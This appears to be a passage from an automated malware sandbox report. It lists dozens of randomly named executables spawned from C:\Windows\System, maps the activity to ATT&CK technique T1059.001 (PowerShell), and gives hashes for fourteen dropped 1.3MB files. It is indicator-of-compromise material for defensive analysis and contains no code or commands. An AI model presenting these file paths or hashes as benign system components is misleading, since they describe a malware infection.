- C:\Windows\System\PIKKRBA.exe
  C:\Windows\System\PIKKRBA.exe
  2⤵
  PID:8012
- C:\Windows\System\RvAZili.exe
  C:\Windows\System\RvAZili.exe
  2⤵
  PID:8180
- C:\Windows\System\CWeHTip.exe
  C:\Windows\System\CWeHTip.exe
  2⤵
  PID:6664
- C:\Windows\System\MXpJpOF.exe
  C:\Windows\System\MXpJpOF.exe
  2⤵
  PID:7976
- C:\Windows\System\XdxXJEc.exe
  C:\Windows\System\XdxXJEc.exe
  2⤵
  PID:7808
- C:\Windows\System\GLjXsLJ.exe
  C:\Windows\System\GLjXsLJ.exe
  2⤵
  PID:7476
- C:\Windows\System\zcjRDek.exe
  C:\Windows\System\zcjRDek.exe
  2⤵
  PID:7532
- C:\Windows\System\YHFRYCI.exe
  C:\Windows\System\YHFRYCI.exe
  2⤵
  PID:8212
- C:\Windows\System\clwSeIC.exe
  C:\Windows\System\clwSeIC.exe
  2⤵
  PID:8228
- C:\Windows\System\bLbmZWE.exe
  C:\Windows\System\bLbmZWE.exe
  2⤵
  PID:8248
- C:\Windows\System\eBfeyaQ.exe
  C:\Windows\System\eBfeyaQ.exe
  2⤵
  PID:8264
- C:\Windows\System\gMnortj.exe
  C:\Windows\System\gMnortj.exe
  2⤵
  PID:8280
- C:\Windows\System\VNgMtgy.exe
  C:\Windows\System\VNgMtgy.exe
  2⤵
  PID:8296
- C:\Windows\System\tssLzfo.exe
  C:\Windows\System\tssLzfo.exe
  2⤵
  PID:8312
- C:\Windows\System\gldOwJL.exe
  C:\Windows\System\gldOwJL.exe
  2⤵
  PID:8328
- C:\Windows\System\rBWxPrk.exe
  C:\Windows\System\rBWxPrk.exe
  2⤵
  PID:8344
- C:\Windows\System\CgeDaNE.exe
  C:\Windows\System\CgeDaNE.exe
  2⤵
  PID:8360
- C:\Windows\System\iMxnupV.exe
  C:\Windows\System\iMxnupV.exe
  2⤵
  PID:8380
- C:\Windows\System\NQwdCRf.exe
  C:\Windows\System\NQwdCRf.exe
  2⤵
  PID:8396
- C:\Windows\System\CGRZIwI.exe
  C:\Windows\System\CGRZIwI.exe
  2⤵
  PID:8424
- C:\Windows\System\qcUklnT.exe
  C:\Windows\System\qcUklnT.exe
  2⤵
  PID:8440
- C:\Windows\System\ZPqRATb.exe
  C:\Windows\System\ZPqRATb.exe
  2⤵
  PID:8456
- C:\Windows\System\HQLwQrj.exe
  C:\Windows\System\HQLwQrj.exe
  2⤵
  PID:8472
- C:\Windows\System\YkbIEcI.exe
  C:\Windows\System\YkbIEcI.exe
  2⤵
  PID:8492
- C:\Windows\System\ZEeAizK.exe
  C:\Windows\System\ZEeAizK.exe
  2⤵
  PID:8508
- C:\Windows\System\vaXBeSi.exe
  C:\Windows\System\vaXBeSi.exe
  2⤵
  PID:8524
- C:\Windows\System\kJAzwQz.exe
  C:\Windows\System\kJAzwQz.exe
  2⤵
  PID:8540
- C:\Windows\System\fDNSZFk.exe
  C:\Windows\System\fDNSZFk.exe
  2⤵
  PID:8556
- C:\Windows\System\yovMKkv.exe
  C:\Windows\System\yovMKkv.exe
  2⤵
  PID:8572
- C:\Windows\System\kGbYndp.exe
  C:\Windows\System\kGbYndp.exe
  2⤵
  PID:8588
- C:\Windows\System\rcaaIMB.exe
  C:\Windows\System\rcaaIMB.exe
  2⤵
  PID:8604
- C:\Windows\System\vbUeqIM.exe
  C:\Windows\System\vbUeqIM.exe
  2⤵
  PID:8620
- C:\Windows\System\hOBfLsF.exe
  C:\Windows\System\hOBfLsF.exe
  2⤵
  PID:8636
- C:\Windows\System\irmILXa.exe
  C:\Windows\System\irmILXa.exe
  2⤵
  PID:8652
- C:\Windows\System\sTImyXg.exe
  C:\Windows\System\sTImyXg.exe
  2⤵
  PID:8668
- C:\Windows\System\NtALWAI.exe
  C:\Windows\System\NtALWAI.exe
  2⤵
  PID:8700
- C:\Windows\System\wfiEdfb.exe
  C:\Windows\System\wfiEdfb.exe
  2⤵
  PID:8716
- C:\Windows\System\UQibbai.exe
  C:\Windows\System\UQibbai.exe
  2⤵
  PID:8732
- C:\Windows\System\ZdrCxJK.exe
  C:\Windows\System\ZdrCxJK.exe
  2⤵
  PID:8752
- C:\Windows\System\ikbLjAa.exe
  C:\Windows\System\ikbLjAa.exe
  2⤵
  PID:8768
- C:\Windows\System\Bwybprc.exe
  C:\Windows\System\Bwybprc.exe
  2⤵
  PID:8784
- C:\Windows\System\OqlYuoA.exe
  C:\Windows\System\OqlYuoA.exe
  2⤵
  PID:8800
- C:\Windows\System\ZuTRhSi.exe
  C:\Windows\System\ZuTRhSi.exe
  2⤵
  PID:8816
- C:\Windows\System\fmySKeM.exe
  C:\Windows\System\fmySKeM.exe
  2⤵
  PID:8832
- C:\Windows\System\uEGviAW.exe
  C:\Windows\System\uEGviAW.exe
  2⤵
  PID:8848
- C:\Windows\System\rtyJsgu.exe
  C:\Windows\System\rtyJsgu.exe
  2⤵
  PID:8864
- C:\Windows\System\bStYMSe.exe
  C:\Windows\System\bStYMSe.exe
  2⤵
  PID:8880
- C:\Windows\System\lXhBQqO.exe
  C:\Windows\System\lXhBQqO.exe
  2⤵
  PID:8896
- C:\Windows\System\JhWFTgl.exe
  C:\Windows\System\JhWFTgl.exe
  2⤵
  PID:8968
- C:\Windows\System\TGupozj.exe
  C:\Windows\System\TGupozj.exe
  2⤵
  PID:8984
- C:\Windows\System\yoFymdR.exe
  C:\Windows\System\yoFymdR.exe
  2⤵
  PID:9000
- C:\Windows\System\pOgDgNa.exe
  C:\Windows\System\pOgDgNa.exe
  2⤵
  PID:9016
- C:\Windows\System\YlFzqhm.exe
  C:\Windows\System\YlFzqhm.exe
  2⤵
  PID:9032
- C:\Windows\System\CZCMATR.exe
  C:\Windows\System\CZCMATR.exe
  2⤵
  PID:9048
- C:\Windows\System\dHppysO.exe
  C:\Windows\System\dHppysO.exe
  2⤵
  PID:9064
- C:\Windows\System\CRyuEvl.exe
  C:\Windows\System\CRyuEvl.exe
  2⤵
  PID:9080
- C:\Windows\System\PrqmvGe.exe
  C:\Windows\System\PrqmvGe.exe
  2⤵
  PID:9096
- C:\Windows\System\AKLCZbu.exe
  C:\Windows\System\AKLCZbu.exe
  2⤵
  PID:9112
- C:\Windows\System\QotkNzs.exe
  C:\Windows\System\QotkNzs.exe
  2⤵
  PID:9128
- C:\Windows\System\pcqsBEa.exe
  C:\Windows\System\pcqsBEa.exe
  2⤵
  PID:9144
- C:\Windows\System\HwBzitD.exe
  C:\Windows\System\HwBzitD.exe
  2⤵
  PID:9160
- C:\Windows\System\ybXbalA.exe
  C:\Windows\System\ybXbalA.exe
  2⤵
  PID:9180
- C:\Windows\System\ZdiqMRw.exe
  C:\Windows\System\ZdiqMRw.exe
  2⤵
  PID:9196
- C:\Windows\System\oizrodt.exe
  C:\Windows\System\oizrodt.exe
  2⤵
  PID:9212
- C:\Windows\System\eeVHEnu.exe
  C:\Windows\System\eeVHEnu.exe
  2⤵
  PID:8288
- C:\Windows\System\DFkixIz.exe
  C:\Windows\System\DFkixIz.exe
  2⤵
  PID:8352
- C:\Windows\System\jlPRRlk.exe
  C:\Windows\System\jlPRRlk.exe
  2⤵
  PID:8404
- C:\Windows\System\NjVkJGM.exe
  C:\Windows\System\NjVkJGM.exe
  2⤵
  PID:8412
- C:\Windows\System\bgRikJw.exe
  C:\Windows\System\bgRikJw.exe
  2⤵
  PID:7360
- C:\Windows\System\pcpxCUe.exe
  C:\Windows\System\pcpxCUe.exe
  2⤵
  PID:7616
- C:\Windows\System\VRZWqwg.exe
  C:\Windows\System\VRZWqwg.exe
  2⤵
  PID:8200
- C:\Windows\System\srlwohm.exe
  C:\Windows\System\srlwohm.exe
  2⤵
  PID:8240
- C:\Windows\System\hXeasen.exe
  C:\Windows\System\hXeasen.exe
  2⤵
  PID:8336
- C:\Windows\System\hyJhxeq.exe
  C:\Windows\System\hyJhxeq.exe
  2⤵
  PID:8420
- C:\Windows\System\lSkvMGW.exe
  C:\Windows\System\lSkvMGW.exe
  2⤵
  PID:8464
- C:\Windows\System\XAnrhaW.exe
  C:\Windows\System\XAnrhaW.exe
  2⤵
  PID:8408
- C:\Windows\System\hPDEykA.exe
  C:\Windows\System\hPDEykA.exe
  2⤵
  PID:8568
- C:\Windows\System\zyRuFdA.exe
  C:\Windows\System\zyRuFdA.exe
  2⤵
  PID:8664
- C:\Windows\System\TZpduuk.exe
  C:\Windows\System\TZpduuk.exe
  2⤵
  PID:8516
- C:\Windows\System\pOGTuwQ.exe
  C:\Windows\System\pOGTuwQ.exe
  2⤵
  PID:8484
- C:\Windows\System\CBwKNzT.exe
  C:\Windows\System\CBwKNzT.exe
  2⤵
  PID:8552
- C:\Windows\System\sWJnMFM.exe
  C:\Windows\System\sWJnMFM.exe
  2⤵
  PID:8580
- C:\Windows\System\OrWKjVp.exe
  C:\Windows\System\OrWKjVp.exe
  2⤵
  PID:8696
- C:\Windows\System\hVLmsBn.exe
  C:\Windows\System\hVLmsBn.exe
  2⤵
  PID:8744
- C:\Windows\System\JmDFSbB.exe
  C:\Windows\System\JmDFSbB.exe
  2⤵
  PID:8808
- C:\Windows\System\NvhSSMY.exe
  C:\Windows\System\NvhSSMY.exe
  2⤵
  PID:8872
- C:\Windows\System\qjGmOrL.exe
  C:\Windows\System\qjGmOrL.exe
  2⤵
  PID:8912
- C:\Windows\System\RqtIMOC.exe
  C:\Windows\System\RqtIMOC.exe
  2⤵
  PID:8796
- C:\Windows\System\JDyFebY.exe
  C:\Windows\System\JDyFebY.exe
  2⤵
  PID:8856
- C:\Windows\System\yvytebQ.exe
  C:\Windows\System\yvytebQ.exe
  2⤵
  PID:8916
- C:\Windows\System\KNBajcv.exe
  C:\Windows\System\KNBajcv.exe
  2⤵
  PID:8932
- C:\Windows\System\rWKWbRm.exe
  C:\Windows\System\rWKWbRm.exe
  2⤵
  PID:8948
- C:\Windows\System\aaZjdAz.exe
  C:\Windows\System\aaZjdAz.exe
  2⤵
  PID:8956
- C:\Windows\System\ldqbzMu.exe
  C:\Windows\System\ldqbzMu.exe
  2⤵
  PID:8992
- C:\Windows\System\KSpmgTJ.exe
  C:\Windows\System\KSpmgTJ.exe
  2⤵
  PID:9056
- C:\Windows\System\NxOsgix.exe
  C:\Windows\System\NxOsgix.exe
  2⤵
  PID:8964
- C:\Windows\System\FpmTwkT.exe
  C:\Windows\System\FpmTwkT.exe
  2⤵
  PID:9156
- C:\Windows\System\rHhmpxC.exe
  C:\Windows\System\rHhmpxC.exe
  2⤵
  PID:9136
- C:\Windows\System\nwEQsVb.exe
  C:\Windows\System\nwEQsVb.exe
  2⤵
  PID:9176
- C:\Windows\System\wGFwxCB.exe
  C:\Windows\System\wGFwxCB.exe
  2⤵
  PID:8256
- C:\Windows\System\wuCxRgZ.exe
  C:\Windows\System\wuCxRgZ.exe
  2⤵
  PID:8320
- C:\Windows\System\IGEsrkt.exe
  C:\Windows\System\IGEsrkt.exe
  2⤵
  PID:8276
- C:\Windows\System\WQNskSn.exe
  C:\Windows\System\WQNskSn.exe
  2⤵
  PID:8340
- C:\Windows\System\cZdeKGr.exe
  C:\Windows\System\cZdeKGr.exe
  2⤵
  PID:8056
- C:\Windows\System\yFMZwOG.exe
  C:\Windows\System\yFMZwOG.exe
  2⤵
  PID:6720
- C:\Windows\System\AxoGbJT.exe
  C:\Windows\System\AxoGbJT.exe
  2⤵
  PID:8308
- C:\Windows\System\IKqMwnm.exe
  C:\Windows\System\IKqMwnm.exe
  2⤵
  PID:8564
- C:\Windows\System\pWOLNHk.exe
  C:\Windows\System\pWOLNHk.exe
  2⤵
  PID:8504
- C:\Windows\System\ckbTSSb.exe
  C:\Windows\System\ckbTSSb.exe
  2⤵
  PID:8632
- C:\Windows\System\NnqBqGm.exe
  C:\Windows\System\NnqBqGm.exe
  2⤵
  PID:8616
- C:\Windows\System\QDOznpZ.exe
  C:\Windows\System\QDOznpZ.exe
  2⤵
  PID:8680
- C:\Windows\System\qgStwgE.exe
  C:\Windows\System\qgStwgE.exe
  2⤵
  PID:8724
- C:\Windows\System\SSwYArW.exe
  C:\Windows\System\SSwYArW.exe
  2⤵
  PID:8740
- C:\Windows\System\DrlaBdO.exe
  C:\Windows\System\DrlaBdO.exe
  2⤵
  PID:8792
- C:\Windows\System\ZWeYaci.exe
  C:\Windows\System\ZWeYaci.exe
  2⤵
  PID:8944
- C:\Windows\System\OOvHXXj.exe
  C:\Windows\System\OOvHXXj.exe
  2⤵
  PID:9008
- C:\Windows\System\vDJesVi.exe
  C:\Windows\System\vDJesVi.exe
  2⤵
  PID:9124
- C:\Windows\System\XiWMQOs.exe
  C:\Windows\System\XiWMQOs.exe
  2⤵
  PID:9172
- C:\Windows\System\OBvsUom.exe
  C:\Windows\System\OBvsUom.exe
  2⤵
  PID:9040
- C:\Windows\System\loOubnW.exe
  C:\Windows\System\loOubnW.exe
  2⤵
  PID:9104
- C:\Windows\System\mcuYGBM.exe
  C:\Windows\System\mcuYGBM.exe
  2⤵
  PID:8536
- C:\Windows\System\zVvoSay.exe
  C:\Windows\System\zVvoSay.exe
  2⤵
  PID:7488
- C:\Windows\System\SEXxuIW.exe
  C:\Windows\System\SEXxuIW.exe
  2⤵
  PID:7960
- C:\Windows\System\oWrabYR.exe
  C:\Windows\System\oWrabYR.exe
  2⤵
  PID:8924
- C:\Windows\System\tYKDckn.exe
  C:\Windows\System\tYKDckn.exe
  2⤵
  PID:7932
- C:\Windows\System\OECzhlS.exe
  C:\Windows\System\OECzhlS.exe
  2⤵
  PID:8548
- C:\Windows\System\dTjFNSa.exe
  C:\Windows\System\dTjFNSa.exe
  2⤵
  PID:8376
- C:\Windows\System\OIRnfMX.exe
  C:\Windows\System\OIRnfMX.exe
  2⤵
  PID:8888
- C:\Windows\System\PhfyPsy.exe
  C:\Windows\System\PhfyPsy.exe
  2⤵
  PID:8392
- C:\Windows\System\RrNgLFz.exe
  C:\Windows\System\RrNgLFz.exe
  2⤵
  PID:8980
- C:\Windows\System\gAifaeu.exe
  C:\Windows\System\gAifaeu.exe
  2⤵
  PID:8416
- C:\Windows\System\VBUxiqg.exe
  C:\Windows\System\VBUxiqg.exe
  2⤵
  PID:8612
- C:\Windows\System\rKWJqGj.exe
  C:\Windows\System\rKWJqGj.exe
  2⤵
  PID:9024
- C:\Windows\System\ymZtvEc.exe
  C:\Windows\System\ymZtvEc.exe
  2⤵
  PID:9028
- C:\Windows\System\JXOxJth.exe
  C:\Windows\System\JXOxJth.exe
  2⤵
  PID:9232
- C:\Windows\System\fjNztOy.exe
  C:\Windows\System\fjNztOy.exe
  2⤵
  PID:9256
- C:\Windows\System\RPPVvtB.exe
  C:\Windows\System\RPPVvtB.exe
  2⤵
  PID:9272
- C:\Windows\System\bFQaUgn.exe
  C:\Windows\System\bFQaUgn.exe
  2⤵
  PID:9288
- C:\Windows\System\UHjQUEY.exe
  C:\Windows\System\UHjQUEY.exe
  2⤵
  PID:9304
- C:\Windows\System\wHTpovG.exe
  C:\Windows\System\wHTpovG.exe
  2⤵
  PID:9320
- C:\Windows\System\xBuhVdY.exe
  C:\Windows\System\xBuhVdY.exe
  2⤵
  PID:9336
- C:\Windows\System\ASFkLwU.exe
  C:\Windows\System\ASFkLwU.exe
  2⤵
  PID:9352
- C:\Windows\System\BLQXkOy.exe
  C:\Windows\System\BLQXkOy.exe
  2⤵
  PID:9368
- C:\Windows\System\efHtfKg.exe
  C:\Windows\System\efHtfKg.exe
  2⤵
  PID:9384
- C:\Windows\System\ZMQMwZb.exe
  C:\Windows\System\ZMQMwZb.exe
  2⤵
  PID:9400
- C:\Windows\System\bwuoEHP.exe
  C:\Windows\System\bwuoEHP.exe
  2⤵
  PID:9416
- C:\Windows\System\PbdwuSq.exe
  C:\Windows\System\PbdwuSq.exe
  2⤵
  PID:9432
- C:\Windows\System\TGTmpgf.exe
  C:\Windows\System\TGTmpgf.exe
  2⤵
  PID:9448
- C:\Windows\System\gYbHhAu.exe
  C:\Windows\System\gYbHhAu.exe
  2⤵
  PID:9464
- C:\Windows\System\glvRrAm.exe
  C:\Windows\System\glvRrAm.exe
  2⤵
  PID:9480
- C:\Windows\System\ykEXZTz.exe
  C:\Windows\System\ykEXZTz.exe
  2⤵
  PID:9496
- C:\Windows\System\eEoEOqn.exe
  C:\Windows\System\eEoEOqn.exe
  2⤵
  PID:9512
- C:\Windows\System\bHWYByf.exe
  C:\Windows\System\bHWYByf.exe
  2⤵
  PID:9528
- C:\Windows\System\mayVMTV.exe
  C:\Windows\System\mayVMTV.exe
  2⤵
  PID:9544
- C:\Windows\System\xYvSNWv.exe
  C:\Windows\System\xYvSNWv.exe
  2⤵
  PID:9560
- C:\Windows\System\EHLqFhC.exe
  C:\Windows\System\EHLqFhC.exe
  2⤵
  PID:9576
- C:\Windows\System\OLRiHxi.exe
  C:\Windows\System\OLRiHxi.exe
  2⤵
  PID:9592
- C:\Windows\System\YFVUiPM.exe
  C:\Windows\System\YFVUiPM.exe
  2⤵
  PID:9608
- C:\Windows\System\vBMRMSB.exe
  C:\Windows\System\vBMRMSB.exe
  2⤵
  PID:9624
- C:\Windows\System\oeYOFyF.exe
  C:\Windows\System\oeYOFyF.exe
  2⤵
  PID:9640
- C:\Windows\System\bZWSRrx.exe
  C:\Windows\System\bZWSRrx.exe
  2⤵
  PID:9656
- C:\Windows\System\jDNQWpC.exe
  C:\Windows\System\jDNQWpC.exe
  2⤵
  PID:9672
- C:\Windows\System\eJhXfBN.exe
  C:\Windows\System\eJhXfBN.exe
  2⤵
  PID:9688
- C:\Windows\System\tgtVvrs.exe
  C:\Windows\System\tgtVvrs.exe
  2⤵
  PID:9704
- C:\Windows\System\gkwXIvF.exe
  C:\Windows\System\gkwXIvF.exe
  2⤵
  PID:9720
- C:\Windows\System\OxOojPa.exe
  C:\Windows\System\OxOojPa.exe
  2⤵
  PID:9736
- C:\Windows\System\xiBdPTZ.exe
  C:\Windows\System\xiBdPTZ.exe
  2⤵
  PID:9752
- C:\Windows\System\NrtGaSL.exe
  C:\Windows\System\NrtGaSL.exe
  2⤵
  PID:9768
- C:\Windows\System\lQsZucA.exe
  C:\Windows\System\lQsZucA.exe
  2⤵
  PID:9784
- C:\Windows\System\nQstLwO.exe
  C:\Windows\System\nQstLwO.exe
  2⤵
  PID:9800
- C:\Windows\System\YjtYSel.exe
  C:\Windows\System\YjtYSel.exe
  2⤵
  PID:9816
- C:\Windows\System\ZjOGgok.exe
  C:\Windows\System\ZjOGgok.exe
  2⤵
  PID:9832
- C:\Windows\System\CYVAhnn.exe
  C:\Windows\System\CYVAhnn.exe
  2⤵
  PID:9848
- C:\Windows\System\Ytlgllz.exe
  C:\Windows\System\Ytlgllz.exe
  2⤵
  PID:9864
- C:\Windows\System\maGBnPS.exe
  C:\Windows\System\maGBnPS.exe
  2⤵
  PID:9880
- C:\Windows\System\sBjyWTK.exe
  C:\Windows\System\sBjyWTK.exe
  2⤵
  PID:9896
- C:\Windows\System\uCORlvl.exe
  C:\Windows\System\uCORlvl.exe
  2⤵
  PID:9912
- C:\Windows\System\MaJHMWs.exe
  C:\Windows\System\MaJHMWs.exe
  2⤵
  PID:9928
- C:\Windows\System\QTHmwYL.exe
  C:\Windows\System\QTHmwYL.exe
  2⤵
  PID:9944
- C:\Windows\System\kYVyZNu.exe
  C:\Windows\System\kYVyZNu.exe
  2⤵
  PID:9960
- C:\Windows\System\SgyqMTs.exe
  C:\Windows\System\SgyqMTs.exe
  2⤵
  PID:9976
- C:\Windows\System\fEOOwgF.exe
  C:\Windows\System\fEOOwgF.exe
  2⤵
  PID:9992
- C:\Windows\System\qEUuLcr.exe
  C:\Windows\System\qEUuLcr.exe
  2⤵
  PID:10008
- C:\Windows\System\pIAbQBb.exe
  C:\Windows\System\pIAbQBb.exe
  2⤵
  PID:10024
- C:\Windows\System\jPmISsA.exe
  C:\Windows\System\jPmISsA.exe
  2⤵
  PID:10040
- C:\Windows\System\aZQnlGI.exe
  C:\Windows\System\aZQnlGI.exe
  2⤵
  PID:10056
- C:\Windows\System\RTOzlOk.exe
  C:\Windows\System\RTOzlOk.exe
  2⤵
  PID:10072
- C:\Windows\System\IZzCtUh.exe
  C:\Windows\System\IZzCtUh.exe
  2⤵
  PID:10088
- C:\Windows\System\crYadsO.exe
  C:\Windows\System\crYadsO.exe
  2⤵
  PID:10104
- C:\Windows\System\Eboidgw.exe
  C:\Windows\System\Eboidgw.exe
  2⤵
  PID:10120
- C:\Windows\System\nPLcfyR.exe
  C:\Windows\System\nPLcfyR.exe
  2⤵
  PID:10136
- C:\Windows\System\ZtoAFtZ.exe
  C:\Windows\System\ZtoAFtZ.exe
  2⤵
  PID:10156
- C:\Windows\System\XCtjSBX.exe
  C:\Windows\System\XCtjSBX.exe
  2⤵
  PID:10172
- C:\Windows\System\YpQbyga.exe
  C:\Windows\System\YpQbyga.exe
  2⤵
  PID:10188
- C:\Windows\System\BPiTINr.exe
  C:\Windows\System\BPiTINr.exe
  2⤵
  PID:10204
- C:\Windows\System\YAaoiWt.exe
  C:\Windows\System\YAaoiWt.exe
  2⤵
  PID:10220
- C:\Windows\System\PgomyWp.exe
  C:\Windows\System\PgomyWp.exe
  2⤵
  PID:10236
- C:\Windows\System\NGMspMH.exe
  C:\Windows\System\NGMspMH.exe
  2⤵
  PID:8844
- C:\Windows\System\nbeHBBw.exe
  C:\Windows\System\nbeHBBw.exe
  2⤵
  PID:8272
- C:\Windows\System\mOvLtRl.exe
  C:\Windows\System\mOvLtRl.exe
  2⤵
  PID:8904
- C:\Windows\System\iwPzCbM.exe
  C:\Windows\System\iwPzCbM.exe
  2⤵
  PID:9188
- C:\Windows\System\OfUPwAo.exe
  C:\Windows\System\OfUPwAo.exe
  2⤵
  PID:9456
- C:\Windows\System\kvQOKUB.exe
  C:\Windows\System\kvQOKUB.exe
  2⤵
  PID:9520
- C:\Windows\System\jDKdjMr.exe
  C:\Windows\System\jDKdjMr.exe
  2⤵
  PID:9284
- C:\Windows\System\OKLGmQk.exe
  C:\Windows\System\OKLGmQk.exe
  2⤵
  PID:9348
- C:\Windows\System\WYIQuJW.exe
  C:\Windows\System\WYIQuJW.exe
  2⤵
  PID:9440
- C:\Windows\System\InNYabR.exe
  C:\Windows\System\InNYabR.exe
  2⤵
  PID:9600
- C:\Windows\System\MgGUieD.exe
  C:\Windows\System\MgGUieD.exe
  2⤵
  PID:9376
- C:\Windows\System\agPNbiI.exe
  C:\Windows\System\agPNbiI.exe
  2⤵
  PID:9716
- C:\Windows\System\duNyyqZ.exe
  C:\Windows\System\duNyyqZ.exe
  2⤵
  PID:9472
- C:\Windows\System\gZJislu.exe
  C:\Windows\System\gZJislu.exe
  2⤵
  PID:9540
- C:\Windows\System\WEnElEs.exe
  C:\Windows\System\WEnElEs.exe
  2⤵
  PID:9632
- C:\Windows\System\ftlZODm.exe
  C:\Windows\System\ftlZODm.exe
  2⤵
  PID:9664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\DDIquPW.exe

Filesize
1.3MB

MD5
3bb6ab87b6f7ea46127b168be3045c0a

SHA1
e0cc4eb96234903e97d4cc880d5aa85996d817a7

SHA256
524e2a11be17caa4680b35ac9b78b9afb12f60d2d8b94778718095be46e24d64

SHA512
159c1355345978737236e4c1fd1bf64fe191ea07e4b43eab4bb08b257d33a41c5b74652d7e47adbb38be2d89f84c47e2a511cc9f8ecfa45150512c7ea708660d

Download Submit
C:\Windows\system\DjGMveF.exe

Filesize
1.3MB

MD5
77c7be4a97359da3f5f2d397452cbe8f

SHA1
3fc19b2fe239a8e25a6e67b7ab86ec1073ab1e78

SHA256
a120d60900266fff4176beaf8b973deff3122e0b6abaf5888ebcfe0789e08d36

SHA512
1e8ebd524607821dd7be2d8ffabeccffa3023ea935390c505acc0a1356e02bdcee304d3a7d6c5d2ea2cb069361cc3d9d7d724039dec546e2f819f6a97a5f8229

Download Submit
C:\Windows\system\FGnXjKI.exe

Filesize
1.3MB

MD5
0b683790a5b19f7737828f340345001c

SHA1
d1b580b600b9affc3916acc298ea926a04b1d71f

SHA256
1dd390b1ee24129444f69575646f76feb740ecc042cff807658cc8fab5e27dc6

SHA512
1f3a8e49731936f1f1dae254229f418c2aefcd0fde1c64068cd629514b18c134b4bf1f79a0a5458f2899ee69ea0979d0855923637e0756ed7bb5ae729d4b7fe0

Download Submit
C:\Windows\system\GTXvNNe.exe

Filesize
1.3MB

MD5
f274a4b7e1a540de29478c766e6f8933

SHA1
6fa8f2f28a316557bf335b08dd4d58a1e1e35a7b

SHA256
2be99a7655cbcb5397942045e7080ae746573d971544ace9791b533924dccc3f

SHA512
15e2969dd757de49307ec2eb9164ccb56711659b57c3c266f20ddb1e07af4b9dd1c7f116c9c52d07809273a08fdbe526626b0774b4a72f7eae467dbe3515dc4c

Download Submit
C:\Windows\system\GamtWGc.exe

Filesize
1.3MB

MD5
8c762fa9808abbfbf91e5f76b85b73de

SHA1
e9421fcd256bba7c3718f36a988ac37f871bd702

SHA256
48633493846a4753c6ad7111c846ddbd12eedf7cfd9f30b381b90d1106f414ed

SHA512
edd9e8d5610090a51a999e1c450a7effbf690cf2a3c68fe7409834daff51b30f350c2433b0a89206d887e31fcc21cab672bf6848b3c0c80d11d5bde454812228

Download Submit
C:\Windows\system\IUEJOmH.exe

Filesize
1.3MB

MD5
2d4d7fa5c91853abedc18ae9f7783987

SHA1
32aac6014ceb85b1690f58b852ef9cacef6b4ec3

SHA256
9d6b8ea9e27edde1361f1a0364eb93d1817d6ce26a4e35107a0e910819426e9c

SHA512
da03c07437737df9fcecd4df6c31ff7a8778e23e0aebd2aa298b4dd080885b2a50edb3f9304720fe2f998133d5d11b707fab2af7492f088d51bcb7fd21af9580

Download Submit
C:\Windows\system\KcLEnHb.exe

Filesize
1.3MB

MD5
eed29a76bf2e6cfe17fd78394f7e09f3

SHA1
a5cd7439a387be87ca4c63b2330123ccffbd3cd3

SHA256
edbb14479ceb5ffb9dc1185f6795cbf1823994188ce073774f5cdd7f1fe4d327

SHA512
1ce0246b18646c5de0f5f1707a7c207e5bbbccb56ab125fae76ae0fbe887639a32b56e0cb04ca2ba07c26ed555f9188a18469948d84b73d7791bb7601e4055e8

Download Submit
C:\Windows\system\ORTigPW.exe

Filesize
1.3MB

MD5
7f4363356e0bd0787c667946cd2c16a8

SHA1
8331114b463ab2c6dfab4efa8d46ba6b54e24baa

SHA256
fec0ec8d432ad3b01fb4992788a04a6cace27ad189b1e5ca046dd27bce760ad9

SHA512
8ff6d696b9d7d4fee68b21b754058f47048193089fc05a2db1abc2c89e1b29bb1b985dd90f267761377a79d1819c721039ae9967b212f5c05316e8f64e977c02

Download Submit
C:\Windows\system\RiwaRgE.exe

Filesize
1.3MB

MD5
f6c71d364d4ae65d2834d7bdeb2134fd

SHA1
92d5f00c6e883cf39839f50a898941c9ac4d4115

SHA256
e2039da56ee395e66380f46558a8adf1e52167bbe1ba7f0d7a7cb45ce26d4c74

SHA512
97e94fdb6667bf0558b754dade06f67649a81785a53e0c7296e454ea1775e01b7a6b7d0c85efd90f4d01cd0811e77c66f1e7f59e91da24b2eb2b9cd229674c77

Download Submit
C:\Windows\system\SleoOie.exe

Filesize
1.3MB

MD5
90cfdcb561e948a6f79b8eaba3ed4658

SHA1
1a7c6d57d241ac5ff37d4cacafac8cc6b1b5ed51

SHA256
a602f5b471ae4de255899ec5c24cb04f83fca8d07f17242b9e401522f51670fe

SHA512
d865ebac9cb7daa3829b419ea87a32ddc5b58194adaa8c9def7abee43510f4a3092be39a76a4ad9d83290704f54ae802031a6d4652e053f5ec4fc3baa0e8fe05

Download Submit
C:\Windows\system\VsUGjBw.exe

Filesize
1.3MB

MD5
8bd99cfd323b3da6271593d1a7831296

SHA1
9b94de3125224597bb14e26e9f969ffd565dd966

SHA256
831702661cf65ff5936aed7da585278cd94eda8e43e9044cf33e57900a694c06

SHA512
3551a69593b1c3479607c2099a44cdc2fa55b4bdb8bc1a68f24ca72426855fc56976904c4748c51ae303d0754a484fb1210ddc7d6216f1df5b29873565da45b2

Download Submit
C:\Windows\system\WyPVgIV.exe

Filesize
1.3MB

MD5
79b52ff383b7456b99064ad40db17905

SHA1
1003db8e9338728556ae4d47c9e8f3ab3b4ba7a0

SHA256
5d22764b9009ca379d21ce41d93771741a3bbe66bd7540cb7da3a1664997ab38

SHA512
f3ee52d1292e0765ca34df943e2b67a0fe6d953d54e22b13abfdf089f32090cacf31e6bd16eec43ca3464a59cec63cd0845a5ef06a4dbef517229334f2e262f2

Download Submit
C:\Windows\system\XGFaaLP.exe

Filesize
1.3MB

MD5
12bd4953da93baf02cc4305b8fa4d9bb

SHA1
d73f461209b9bb95464bbf2c2aad73d86531b4ad

SHA256
078e01e0a5ce8234de362e4709baf0f402f96632b70ad1819fe9676d5bdfa1d5

SHA512
d915bbcf9a7fe35f5d77b1731067966f137c1b472fe4afd283aaf801d6739f7a4e149a97c305d059011bb53c5125e74d50b61692f4e38e84c182486d88b144da

Download Submit
C:\Windows\system\YgmCgUP.exe

Filesize
1.3MB

MD5
024d5bc0f428a9dd41e8d53afc2c3307

SHA1
c08e2bf96d3bb02ab38dfd3f15af4ec4dfd76aef

SHA256
1d45077642f5cf9411180fdcff4a18fdf0a2b56973afe149304845437044acea

SHA512
54a8250e989b0e63e95c25a7d4716c50be238593b696006679de4bcd5f86b066f352c74b4c4c7d2668379aedd6017d8afb91e668ea0a9a7d3c7fec9f0eb5053f

